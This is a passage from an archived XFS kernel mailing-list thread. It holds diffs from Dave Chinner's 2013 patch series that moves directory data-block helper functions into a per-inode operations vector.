== sfp->count) sfep = NULL; else - sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); + sfep = dp->d_ops->sf_nextentry(sfp, sfep); } /* Done with the temporary buffer */ kmem_free(sfp); diff --git a/fs/xfs/xfs_dir2_readdir.c b/fs/xfs/xfs_dir2_readdir.c index 45c9ce8..8033305 100644 --- a/fs/xfs/xfs_dir2_readdir.c +++ b/fs/xfs/xfs_dir2_readdir.c @@ -153,7 +153,7 @@ xfs_dir2_sf_getdents( xfs_dir2_sf_get_offset(sfep)); if (ctx->pos > off) { - sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); + sfep = dp->d_ops->sf_nextentry(sfp, sfep); continue; } @@ -163,7 +163,7 @@ xfs_dir2_sf_getdents( if (!dir_emit(ctx, (char *)sfep->name, sfep->namelen, ino, xfs_dir3_get_dtype(mp, filetype))) return 0; - sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); + sfep = dp->d_ops->sf_nextentry(sfp, sfep); } ctx->pos = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk + 1, 0) & diff --git a/fs/xfs/xfs_dir2_sf.c b/fs/xfs/xfs_dir2_sf.c index 8811ee5..73881c9 100644 --- a/fs/xfs/xfs_dir2_sf.c +++ b/fs/xfs/xfs_dir2_sf.c @@ -336,7 +336,7 @@ xfs_dir2_block_to_sf( xfs_dir3_sfe_put_ftype(mp, sfp, sfep, xfs_dir3_dirent_get_ftype(mp, dep)); - sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); + sfep = dp->d_ops->sf_nextentry(sfp, sfep); } ptr += xfs_dir3_data_entsize(mp, dep->namelen); } @@ -389,7 +389,7 @@ xfs_dir2_sf_addname( /* * Compute entry (and change in) size. */ - add_entsize = xfs_dir3_sf_entsize(dp->i_mount, sfp, args->namelen); + add_entsize = dp->d_ops->sf_entsize(sfp, args->namelen); incr_isize = add_entsize; objchange = 0; #if XFS_BIG_INUMS @@ -483,8 +483,7 @@ xfs_dir2_sf_addname_easy( /* * Grow the in-inode space. */ - xfs_idata_realloc(dp, - xfs_dir3_sf_entsize(dp->i_mount, sfp, args->namelen), + xfs_idata_realloc(dp, dp->d_ops->sf_entsize(sfp, args->namelen), XFS_DATA_FORK); /* * Need to set up again due to realloc of the inode data. @@ -563,7 +562,7 @@ xfs_dir2_sf_addname_hard( eof = (char *)oldsfep == &buf[old_isize]; !eof; offset = new_offset + xfs_dir3_data_entsize(mp, oldsfep->namelen), - oldsfep = xfs_dir3_sf_nextentry(mp, oldsfp, oldsfep), + oldsfep = dp->d_ops->sf_nextentry(oldsfp, oldsfep), eof = (char *)oldsfep == &buf[old_isize]) { new_offset = xfs_dir2_sf_get_offset(oldsfep); if (offset + add_datasize <= new_offset) @@ -603,7 +602,7 @@ xfs_dir2_sf_addname_hard( * If there's more left to copy, do that. */ if (!eof) { - sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); + sfep = dp->d_ops->sf_nextentry(sfp, sfep); memcpy(sfep, oldsfep, old_isize - nbytes); } kmem_free(buf); @@ -653,7 +652,7 @@ xfs_dir2_sf_addname_pick( holefit = offset + size <= xfs_dir2_sf_get_offset(sfep); offset = xfs_dir2_sf_get_offset(sfep) + xfs_dir3_data_entsize(mp, sfep->namelen); - sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); + sfep = dp->d_ops->sf_nextentry(sfp, sfep); } /* * Calculate data bytes used excluding the new entry, if this @@ -719,7 +718,7 @@ xfs_dir2_sf_check( for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp); i < sfp->count; - i++, sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep)) { + i++, sfep = dp->d_ops->sf_nextentry(sfp, sfep)) { ASSERT(xfs_dir2_sf_get_offset(sfep) >= offset); ino = xfs_dir3_sfe_get_ino(mp, sfp, sfep); i8count += ino > XFS_DIR2_MAX_SHORT_INUM; @@ -848,7 +847,7 @@ xfs_dir2_sf_lookup( */ ci_sfep = NULL; for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp); i < sfp->count; - i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep)) { + i++, sfep = dp->d_ops->sf_nextentry(sfp, sfep)) { /* * Compare name and if it's an exact match, return the inode * number. If it's the first case-insensitive match, store the @@ -917,7 +916,7 @@ xfs_dir2_sf_removename( * Find the one we're deleting. */ for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp); i < sfp->count; - i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep)) { + i++, sfep = dp->d_ops->sf_nextentry(sfp, sfep)) { if (xfs_da_compname(args, sfep->name, sfep->namelen) == XFS_CMP_EXACT) { ASSERT(xfs_dir3_sfe_get_ino(dp->i_mount, sfp, sfep) == @@ -934,7 +933,7 @@ xfs_dir2_sf_removename( * Calculate sizes. */ byteoff = (int)((char *)sfep - (char *)sfp); - entsize = xfs_dir3_sf_entsize(dp->i_mount, sfp, args->namelen); + entsize = dp->d_ops->sf_entsize(sfp, args->namelen); newsize = oldsize - entsize; /* * Copy the part if any after the removed entry, sliding it down. @@ -1051,7 +1050,7 @@ xfs_dir2_sf_replace( */ else { for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp); i < sfp->count; - i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep)) { + i++, sfep = dp->d_ops->sf_nextentry(sfp, sfep)) { if (xfs_da_compname(args, sfep->name, sfep->namelen) == XFS_CMP_EXACT) { #if XFS_BIG_INUMS || defined(DEBUG) @@ -1172,8 +1171,8 @@ xfs_dir2_sf_toino4( for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp), oldsfep = xfs_dir2_sf_firstentry(oldsfp); i < sfp->count; - i++, sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep), - oldsfep = xfs_dir3_sf_nextentry(mp, oldsfp, oldsfep)) { + i++, sfep = dp->d_ops->sf_nextentry(sfp, sfep), + oldsfep = dp->d_ops->sf_nextentry(oldsfp, oldsfep)) { sfep->namelen = oldsfep->namelen; sfep->offset = oldsfep->offset; memcpy(sfep->name, oldsfep->name, sfep->namelen); @@ -1251,8 +1250,8 @@ xfs_dir2_sf_toino8( for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp), oldsfep = xfs_dir2_sf_firstentry(oldsfp); i < sfp->count; - i++, sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep), - oldsfep = xfs_dir3_sf_nextentry(mp, oldsfp, oldsfep)) { + i++, sfep = dp->d_ops->sf_nextentry(sfp, sfep), + oldsfep = dp->d_ops->sf_nextentry(oldsfp, oldsfep)) { sfep->namelen = oldsfep->namelen; sfep->offset = oldsfep->offset; memcpy(sfep->name, oldsfep->name, sfep->namelen); diff --git a/fs/xfs/xfs_inode.h b/fs/xfs/xfs_inode.h index bb2f283..3ce8c01 100644 --- a/fs/xfs/xfs_inode.h +++ b/fs/xfs/xfs_inode.h @@ -49,6 +49,9 @@ typedef struct xfs_inode { xfs_ifork_t *i_afp; /* attribute fork pointer */ xfs_ifork_t i_df; /* data fork */ + /* operations vectors */ + const struct xfs_dir_ops *d_ops; /* directory ops vector */ + /* Transaction and locking information. */ struct xfs_inode_log_item *i_itemp; /* logging information */ mrlock_t i_lock; /* inode lock */ diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index eef7f1a..e8ae828 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -1210,6 +1210,7 @@ xfs_setup_inode( else inode->i_op = &xfs_dir_inode_operations; inode->i_fop = &xfs_dir_file_operations; + ip->d_ops = ip->i_mount->m_dir_inode_ops; break; case S_IFLNK: inode->i_op = &xfs_symlink_inode_operations; diff --git a/fs/xfs/xfs_mount.h b/fs/xfs/xfs_mount.h index 1fa0584..973397f 100644 --- a/fs/xfs/xfs_mount.h +++ b/fs/xfs/xfs_mount.h @@ -26,6 +26,7 @@ struct xfs_mru_cache; struct xfs_nameops; struct xfs_ail; struct xfs_quotainfo; +struct xfs_dir_ops; #ifdef HAVE_PERCPU_SB @@ -148,6 +149,7 @@ typedef struct xfs_mount { int m_dir_magicpct; /* 37% of the dir blocksize */ __uint8_t m_sectbb_log; /* sectlog - BBSHIFT */ const struct xfs_nameops *m_dirnameops; /* vector of dir name ops */ + const struct xfs_dir_ops *m_dir_inode_ops; /* vector of dir inode ops */ int m_dirblksize; /* directory block sz--bytes */ int m_dirblkfsbs; /* directory block sz--fsbs */ xfs_dablk_t m_dirdatablk; /* blockno of dir data v2 */ -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:07:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BBAE27F54 for ; Sun, 29 Sep 2013 22:07:35 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id ACE218F8039 for ; Sun, 29 Sep 2013 20:07:35 -0700 (PDT) X-ASG-Debug-ID: 1380510446-04cb6c3777739180003-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 3mOJxVVe2SeGjrEG for ; Sun, 29 Sep 2013 20:07:32 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlwGAPLpSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBRoBDC8zCBgxOQMbGYgFvAaTegOpeIM2Kg Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:37:25 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTpO-0006Lh-Pr for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTpO-0002CG-P4 for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 10/16] xfs: vectorise directory data operations part 2 Date: Mon, 30 Sep 2013 13:07:07 +1000 X-ASG-Orig-Subj: [PATCH 10/16] xfs: vectorise directory data operations part 2 Message-Id: <1380510433-8353-11-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510433-8353-1-git-send-email-david@fromorbit.com> References: <1380510433-8353-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510452 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Convert the rest of the directory data block encode/decode operations to vector format. This further reduces the size of the built binary: text data bss dec hex filename 794490 96802 1096 892388 d9de4 fs/xfs/xfs.o.orig 792986 96802 1096 890884 d9804 fs/xfs/xfs.o.p1 792350 96802 1096 890248 d9588 fs/xfs/xfs.o.p2 789293 96802 1096 887191 d8997 fs/xfs/xfs.o.p3 789005 96802 1096 886903 d8997 fs/xfs/xfs.o.p4 Signed-off-by: Dave Chinner --- fs/xfs/xfs_da_format.c | 68 +++++++++++++++++++++++++++++++ fs/xfs/xfs_da_format.h | 41 ------------------- fs/xfs/xfs_dir2.h | 22 +++++++--- fs/xfs/xfs_dir2_block.c | 33 ++++++++------- fs/xfs/xfs_dir2_data.c | 102 ++++++++++++++++++++++++---------------------- fs/xfs/xfs_dir2_leaf.c | 26 ++++++------ fs/xfs/xfs_dir2_node.c | 16 ++++---- fs/xfs/xfs_dir2_priv.h | 3 +- fs/xfs/xfs_dir2_readdir.c | 6 +-- fs/xfs/xfs_dir2_sf.c | 2 +- 10 files changed, 183 insertions(+), 136 deletions(-) diff --git a/fs/xfs/xfs_da_format.c b/fs/xfs/xfs_da_format.c index d0285fd..1e92a24 100644 --- a/fs/xfs/xfs_da_format.c +++ b/fs/xfs/xfs_da_format.c @@ -383,6 +383,58 @@ xfs_dir3_data_first_entry_p( ((char *)hdr + xfs_dir3_data_first_offset()); } +static struct xfs_dir2_data_free * +xfs_dir2_data_bestfree_p(struct xfs_dir2_data_hdr *hdr) +{ + return hdr->bestfree; +} + +static struct xfs_dir2_data_free * +xfs_dir3_data_bestfree_p(struct xfs_dir2_data_hdr *hdr) +{ + return ((struct xfs_dir3_data_hdr *)hdr)->best_free; +} + +static size_t +xfs_dir2_data_entry_offset(void) +{ + return sizeof(struct xfs_dir2_data_hdr); +} + +static struct xfs_dir2_data_entry * +xfs_dir2_data_entry_p(struct xfs_dir2_data_hdr *hdr) +{ + return (struct xfs_dir2_data_entry *) + ((char *)hdr + xfs_dir2_data_entry_offset()); +} + +static struct xfs_dir2_data_unused * +xfs_dir2_data_unused_p(struct xfs_dir2_data_hdr *hdr) +{ + return (struct xfs_dir2_data_unused *) + ((char *)hdr + xfs_dir2_data_entry_offset()); +} + +static size_t +xfs_dir3_data_entry_offset(void) +{ + return sizeof(struct xfs_dir3_data_hdr); +} + +static struct xfs_dir2_data_entry * +xfs_dir3_data_entry_p(struct xfs_dir2_data_hdr *hdr) +{ + return (struct xfs_dir2_data_entry *) + ((char *)hdr + xfs_dir3_data_entry_offset()); +} + +static struct xfs_dir2_data_unused * +xfs_dir3_data_unused_p(struct xfs_dir2_data_hdr *hdr) +{ + return (struct xfs_dir2_data_unused *) + ((char *)hdr + xfs_dir3_data_entry_offset()); +} + const struct xfs_dir_ops xfs_dir2_ops = { .sf_entsize = xfs_dir2_sf_entsize, .sf_nextentry = xfs_dir2_sf_nextentry, @@ -397,13 +449,19 @@ const struct xfs_dir_ops xfs_dir2_ops = { .data_get_ftype = xfs_dir2_data_get_ftype, .data_put_ftype = xfs_dir2_data_put_ftype, .data_entry_tag_p = xfs_dir2_data_entry_tag_p, + .data_bestfree_p = xfs_dir2_data_bestfree_p, .data_dot_offset = xfs_dir2_data_dot_offset, .data_dotdot_offset = xfs_dir2_data_dotdot_offset, .data_first_offset = xfs_dir2_data_first_offset, + .data_entry_offset = xfs_dir2_data_entry_offset, + .data_dot_entry_p = xfs_dir2_data_dot_entry_p, .data_dotdot_entry_p = xfs_dir2_data_dotdot_entry_p, .data_first_entry_p = xfs_dir2_data_first_entry_p, + .data_entry_p = xfs_dir2_data_entry_p, + .data_unused_p = xfs_dir2_data_unused_p, + }; const struct xfs_dir_ops xfs_dir2_ftype_ops = { @@ -420,13 +478,18 @@ const struct xfs_dir_ops xfs_dir2_ftype_ops = { .data_get_ftype = xfs_dir3_data_get_ftype, .data_put_ftype = xfs_dir3_data_put_ftype, .data_entry_tag_p = xfs_dir3_data_entry_tag_p, + .data_bestfree_p = xfs_dir2_data_bestfree_p, .data_dot_offset = xfs_dir2_data_dot_offset, .data_dotdot_offset = xfs_dir2_data_dotdot_offset, .data_first_offset = xfs_dir2_data_first_offset, + .data_entry_offset = xfs_dir2_data_entry_offset, + .data_dot_entry_p = xfs_dir2_data_dot_entry_p, .data_dotdot_entry_p = xfs_dir2_data_dotdot_entry_p, .data_first_entry_p = xfs_dir2_data_first_entry_p, + .data_entry_p = xfs_dir2_data_entry_p, + .data_unused_p = xfs_dir2_data_unused_p, }; const struct xfs_dir_ops xfs_dir3_ops = { @@ -443,11 +506,16 @@ const struct xfs_dir_ops xfs_dir3_ops = { .data_get_ftype = xfs_dir3_data_get_ftype, .data_put_ftype = xfs_dir3_data_put_ftype, .data_entry_tag_p = xfs_dir3_data_entry_tag_p, + .data_bestfree_p = xfs_dir3_data_bestfree_p, .data_dot_offset = xfs_dir3_data_dot_offset, .data_dotdot_offset = xfs_dir3_data_dotdot_offset, .data_first_offset = xfs_dir3_data_first_offset, + .data_entry_offset = xfs_dir3_data_entry_offset, + .data_dot_entry_p = xfs_dir3_data_dot_entry_p, .data_dotdot_entry_p = xfs_dir3_data_dotdot_entry_p, .data_first_entry_p = xfs_dir3_data_first_entry_p, + .data_entry_p = xfs_dir3_data_entry_p, + .data_unused_p = xfs_dir3_data_unused_p, }; diff --git a/fs/xfs/xfs_da_format.h b/fs/xfs/xfs_da_format.h index 5b72dd2..aeca003 100644 --- a/fs/xfs/xfs_da_format.h +++ b/fs/xfs/xfs_da_format.h @@ -412,17 +412,6 @@ struct xfs_dir3_data_hdr { #define XFS_DIR3_DATA_CRC_OFF offsetof(struct xfs_dir3_data_hdr, hdr.crc) -static inline struct xfs_dir2_data_free * -xfs_dir3_data_bestfree_p(struct xfs_dir2_data_hdr *hdr) -{ - if (hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || - hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC)) { - struct xfs_dir3_data_hdr *hdr3 = (struct xfs_dir3_data_hdr *)hdr; - return hdr3->best_free; - } - return hdr->bestfree; -} - /* * Active entry in a data block. * @@ -465,36 +454,6 @@ xfs_dir2_data_unused_tag_p(struct xfs_dir2_data_unused *dup) be16_to_cpu(dup->length) - sizeof(__be16)); } -static inline size_t -xfs_dir3_data_hdr_size(bool dir3) -{ - if (dir3) - return sizeof(struct xfs_dir3_data_hdr); - return sizeof(struct xfs_dir2_data_hdr); -} - -static inline size_t -xfs_dir3_data_entry_offset(struct xfs_dir2_data_hdr *hdr) -{ - bool dir3 = hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || - hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC); - return xfs_dir3_data_hdr_size(dir3); -} - -static inline struct xfs_dir2_data_entry * -xfs_dir3_data_entry_p(struct xfs_dir2_data_hdr *hdr) -{ - return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir3_data_entry_offset(hdr)); -} - -static inline struct xfs_dir2_data_unused * -xfs_dir3_data_unused_p(struct xfs_dir2_data_hdr *hdr) -{ - return (struct xfs_dir2_data_unused *) - ((char *)hdr + xfs_dir3_data_entry_offset(hdr)); -} - /* * Leaf block structures. * diff --git a/fs/xfs/xfs_dir2.h b/fs/xfs/xfs_dir2.h index c0a4592..076010a 100644 --- a/fs/xfs/xfs_dir2.h +++ b/fs/xfs/xfs_dir2.h @@ -56,16 +56,24 @@ struct xfs_dir_ops { void (*data_put_ftype)(struct xfs_dir2_data_entry *dep, __uint8_t ftype); __be16 * (*data_entry_tag_p)(struct xfs_dir2_data_entry *dep); + struct xfs_dir2_data_free * + (*data_bestfree_p)(struct xfs_dir2_data_hdr *hdr); xfs_dir2_data_aoff_t (*data_dot_offset)(void); xfs_dir2_data_aoff_t (*data_dotdot_offset)(void); xfs_dir2_data_aoff_t (*data_first_offset)(void); + size_t (*data_entry_offset)(void); + struct xfs_dir2_data_entry * (*data_dot_entry_p)(struct xfs_dir2_data_hdr *hdr); struct xfs_dir2_data_entry * (*data_dotdot_entry_p)(struct xfs_dir2_data_hdr *hdr); struct xfs_dir2_data_entry * (*data_first_entry_p)(struct xfs_dir2_data_hdr *hdr); + struct xfs_dir2_data_entry * + (*data_entry_p)(struct xfs_dir2_data_hdr *hdr); + struct xfs_dir2_data_unused * + (*data_unused_p)(struct xfs_dir2_data_hdr *hdr); }; extern const struct xfs_dir_ops xfs_dir2_ops; @@ -115,19 +123,21 @@ extern void xfs_dir2_data_freescan(struct xfs_inode *dp, struct xfs_dir2_data_hdr *hdr, int *loghead); extern void xfs_dir2_data_log_entry(struct xfs_trans *tp, struct xfs_inode *dp, struct xfs_buf *bp, struct xfs_dir2_data_entry *dep); -extern void xfs_dir2_data_log_header(struct xfs_trans *tp, +extern void xfs_dir2_data_log_header(struct xfs_trans *tp, struct xfs_inode *dp, struct xfs_buf *bp); extern void xfs_dir2_data_log_unused(struct xfs_trans *tp, struct xfs_buf *bp, struct xfs_dir2_data_unused *dup); -extern void xfs_dir2_data_make_free(struct xfs_trans *tp, struct xfs_buf *bp, +extern void xfs_dir2_data_make_free(struct xfs_trans *tp, struct xfs_inode *dp, + struct xfs_buf *bp, xfs_dir2_data_aoff_t offset, + xfs_dir2_data_aoff_t len, int *needlogp, int *needscanp); +extern void xfs_dir2_data_use_free(struct xfs_trans *tp, struct xfs_inode *dp, + struct xfs_buf *bp, struct xfs_dir2_data_unused *dup, xfs_dir2_data_aoff_t offset, xfs_dir2_data_aoff_t len, int *needlogp, int *needscanp); -extern void xfs_dir2_data_use_free(struct xfs_trans *tp, struct xfs_buf *bp, - struct xfs_dir2_data_unused *dup, xfs_dir2_data_aoff_t offset, - xfs_dir2_data_aoff_t len, int *needlogp, int *needscanp); extern struct xfs_dir2_data_free *xfs_dir2_data_freefind( - struct xfs_dir2_data_hdr *hdr, struct xfs_dir2_data_unused *dup); + struct xfs_dir2_data_hdr *hdr, struct xfs_dir2_data_free *bf, + struct xfs_dir2_data_unused *dup); extern const struct xfs_buf_ops xfs_dir3_block_buf_ops; extern const struct xfs_buf_ops xfs_dir3_leafn_buf_ops; diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c index 7d7a8cc..e6f1784 100644 --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -168,6 +168,7 @@ xfs_dir3_block_init( static void xfs_dir2_block_need_space( + struct xfs_inode *dp, struct xfs_dir2_data_hdr *hdr, struct xfs_dir2_block_tail *btp, struct xfs_dir2_leaf_entry *blp, @@ -183,7 +184,7 @@ xfs_dir2_block_need_space( struct xfs_dir2_data_unused *enddup = NULL; *compact = 0; - bf = xfs_dir3_data_bestfree_p(hdr); + bf = dp->d_ops->data_bestfree_p(hdr); /* * If there are stale entries we'll use one for the leaf. @@ -313,7 +314,7 @@ xfs_dir2_block_compact( *lfloglow = toidx + 1 - (be32_to_cpu(btp->stale) - 1); *lfloghigh -= be32_to_cpu(btp->stale) - 1; be32_add_cpu(&btp->count, -(be32_to_cpu(btp->stale) - 1)); - xfs_dir2_data_make_free(tp, bp, + xfs_dir2_data_make_free(tp, dp, bp, (xfs_dir2_data_aoff_t)((char *)blp - (char *)hdr), (xfs_dir2_data_aoff_t)((be32_to_cpu(btp->stale) - 1) * sizeof(*blp)), needlog, &needscan); @@ -383,7 +384,7 @@ xfs_dir2_block_addname( * Find out if we can reuse stale entries or whether we need extra * space for entry and new leaf. */ - xfs_dir2_block_need_space(hdr, btp, blp, &tagp, &dup, + xfs_dir2_block_need_space(dp, hdr, btp, blp, &tagp, &dup, &enddup, &compact, len); /* @@ -454,7 +455,7 @@ xfs_dir2_block_addname( /* * Mark the space needed for the new leaf entry, now in use. */ - xfs_dir2_data_use_free(tp, bp, enddup, + xfs_dir2_data_use_free(tp, dp, bp, enddup, (xfs_dir2_data_aoff_t) ((char *)enddup - (char *)hdr + be16_to_cpu(enddup->length) - sizeof(*blp)), @@ -541,7 +542,7 @@ xfs_dir2_block_addname( /* * Mark space for the data entry used. */ - xfs_dir2_data_use_free(tp, bp, dup, + xfs_dir2_data_use_free(tp, dp, bp, dup, (xfs_dir2_data_aoff_t)((char *)dup - (char *)hdr), (xfs_dir2_data_aoff_t)len, &needlog, &needscan); /* @@ -559,7 +560,7 @@ xfs_dir2_block_addname( if (needscan) xfs_dir2_data_freescan(dp, hdr, &needlog); if (needlog) - xfs_dir2_data_log_header(tp, bp); + xfs_dir2_data_log_header(tp, dp, bp); xfs_dir2_block_log_tail(tp, bp); xfs_dir2_data_log_entry(tp, dp, bp, dep); xfs_dir3_data_check(dp, bp); @@ -800,7 +801,7 @@ xfs_dir2_block_removename( * Mark the data entry's space free. */ needlog = needscan = 0; - xfs_dir2_data_make_free(tp, bp, + xfs_dir2_data_make_free(tp, dp, bp, (xfs_dir2_data_aoff_t)((char *)dep - (char *)hdr), dp->d_ops->data_entsize(dep->namelen), &needlog, &needscan); /* @@ -819,7 +820,7 @@ xfs_dir2_block_removename( if (needscan) xfs_dir2_data_freescan(dp, hdr, &needlog); if (needlog) - xfs_dir2_data_log_header(tp, bp); + xfs_dir2_data_log_header(tp, dp, bp); xfs_dir3_data_check(dp, bp); /* * See if the size as a shortform is good enough. @@ -950,7 +951,7 @@ xfs_dir2_leaf_to_block( while (dp->i_d.di_size > mp->m_dirblksize) { int hdrsz; - hdrsz = xfs_dir3_data_hdr_size(xfs_sb_version_hascrc(&mp->m_sb)); + hdrsz = dp->d_ops->data_entry_offset(); bestsp = xfs_dir2_leaf_bests_p(ltp); if (be16_to_cpu(bestsp[be32_to_cpu(ltp->bestcount) - 1]) == mp->m_dirblksize - hdrsz) { @@ -1000,7 +1001,7 @@ xfs_dir2_leaf_to_block( /* * Use up the space at the end of the block (blp/btp). */ - xfs_dir2_data_use_free(tp, dbp, dup, mp->m_dirblksize - size, size, + xfs_dir2_data_use_free(tp, dp, dbp, dup, mp->m_dirblksize - size, size, &needlog, &needscan); /* * Initialize the block tail. @@ -1026,7 +1027,7 @@ xfs_dir2_leaf_to_block( if (needscan) xfs_dir2_data_freescan(dp, hdr, &needlog); if (needlog) - xfs_dir2_data_log_header(tp, dbp); + xfs_dir2_data_log_header(tp, dp, dbp); /* * Pitch the old leaf block. */ @@ -1137,9 +1138,9 @@ xfs_dir2_sf_to_block( * The whole thing is initialized to free by the init routine. * Say we're using the leaf and tail area. */ - dup = xfs_dir3_data_unused_p(hdr); + dup = dp->d_ops->data_unused_p(hdr); needlog = needscan = 0; - xfs_dir2_data_use_free(tp, bp, dup, mp->m_dirblksize - i, i, &needlog, + xfs_dir2_data_use_free(tp, dp, bp, dup, mp->m_dirblksize - i, i, &needlog, &needscan); ASSERT(needscan == 0); /* @@ -1153,7 +1154,7 @@ xfs_dir2_sf_to_block( /* * Remove the freespace, we'll manage it. */ - xfs_dir2_data_use_free(tp, bp, dup, + xfs_dir2_data_use_free(tp, dp, bp, dup, (xfs_dir2_data_aoff_t)((char *)dup - (char *)hdr), be16_to_cpu(dup->length), &needlog, &needscan); /* @@ -1215,7 +1216,9 @@ xfs_dir2_sf_to_block( *xfs_dir2_data_unused_tag_p(dup) = cpu_to_be16( ((char *)dup - (char *)hdr)); xfs_dir2_data_log_unused(tp, bp, dup); - xfs_dir2_data_freeinsert(hdr, dup, &dummy); + xfs_dir2_data_freeinsert(hdr, + dp->d_ops->data_bestfree_p(hdr), + dup, &dummy); offset += be16_to_cpu(dup->length); continue; } diff --git a/fs/xfs/xfs_dir2_data.c b/fs/xfs/xfs_dir2_data.c index 571e173..0b58a07 100644 --- a/fs/xfs/xfs_dir2_data.c +++ b/fs/xfs/xfs_dir2_data.c @@ -66,8 +66,6 @@ __xfs_dir3_data_check( mp = bp->b_target->bt_mount; hdr = bp->b_addr; - bf = xfs_dir3_data_bestfree_p(hdr); - p = (char *)xfs_dir3_data_entry_p(hdr); /* * we can be passed a null dp here froma verifier, so manually configure @@ -97,6 +95,8 @@ __xfs_dir3_data_check( XFS_ERROR_REPORT("Bad Magic", XFS_ERRLEVEL_LOW, mp); return EFSCORRUPTED; } + bf = ops->data_bestfree_p(hdr); + p = (char *)ops->data_entry_p(hdr); count = lastfree = freeseen = 0; /* @@ -134,7 +134,7 @@ __xfs_dir3_data_check( XFS_WANT_CORRUPTED_RETURN( be16_to_cpu(*xfs_dir2_data_unused_tag_p(dup)) == (char *)dup - (char *)hdr); - dfp = xfs_dir2_data_freefind(hdr, dup); + dfp = xfs_dir2_data_freefind(hdr, bf, dup); if (dfp) { i = (int)(dfp - bf); XFS_WANT_CORRUPTED_RETURN( @@ -340,19 +340,18 @@ xfs_dir3_data_readahead( */ xfs_dir2_data_free_t * xfs_dir2_data_freefind( - xfs_dir2_data_hdr_t *hdr, /* data block */ - xfs_dir2_data_unused_t *dup) /* data unused entry */ + struct xfs_dir2_data_hdr *hdr, /* data block header */ + struct xfs_dir2_data_free *bf, /* bestfree table pointer */ + struct xfs_dir2_data_unused *dup) /* unused space */ { xfs_dir2_data_free_t *dfp; /* bestfree entry */ xfs_dir2_data_aoff_t off; /* offset value needed */ - struct xfs_dir2_data_free *bf; #ifdef DEBUG int matched; /* matched the value */ int seenzero; /* saw a 0 bestfree entry */ #endif off = (xfs_dir2_data_aoff_t)((char *)dup - (char *)hdr); - bf = xfs_dir3_data_bestfree_p(hdr); #ifdef DEBUG /* @@ -412,11 +411,11 @@ xfs_dir2_data_freefind( */ xfs_dir2_data_free_t * /* entry inserted */ xfs_dir2_data_freeinsert( - xfs_dir2_data_hdr_t *hdr, /* data block pointer */ - xfs_dir2_data_unused_t *dup, /* unused space */ + struct xfs_dir2_data_hdr *hdr, /* data block pointer */ + struct xfs_dir2_data_free *dfp, /* bestfree table pointer */ + struct xfs_dir2_data_unused *dup, /* unused space */ int *loghead) /* log the data header (out) */ { - xfs_dir2_data_free_t *dfp; /* bestfree table pointer */ xfs_dir2_data_free_t new; /* new bestfree entry */ ASSERT(hdr->magic == cpu_to_be32(XFS_DIR2_DATA_MAGIC) || @@ -424,7 +423,6 @@ xfs_dir2_data_freeinsert( hdr->magic == 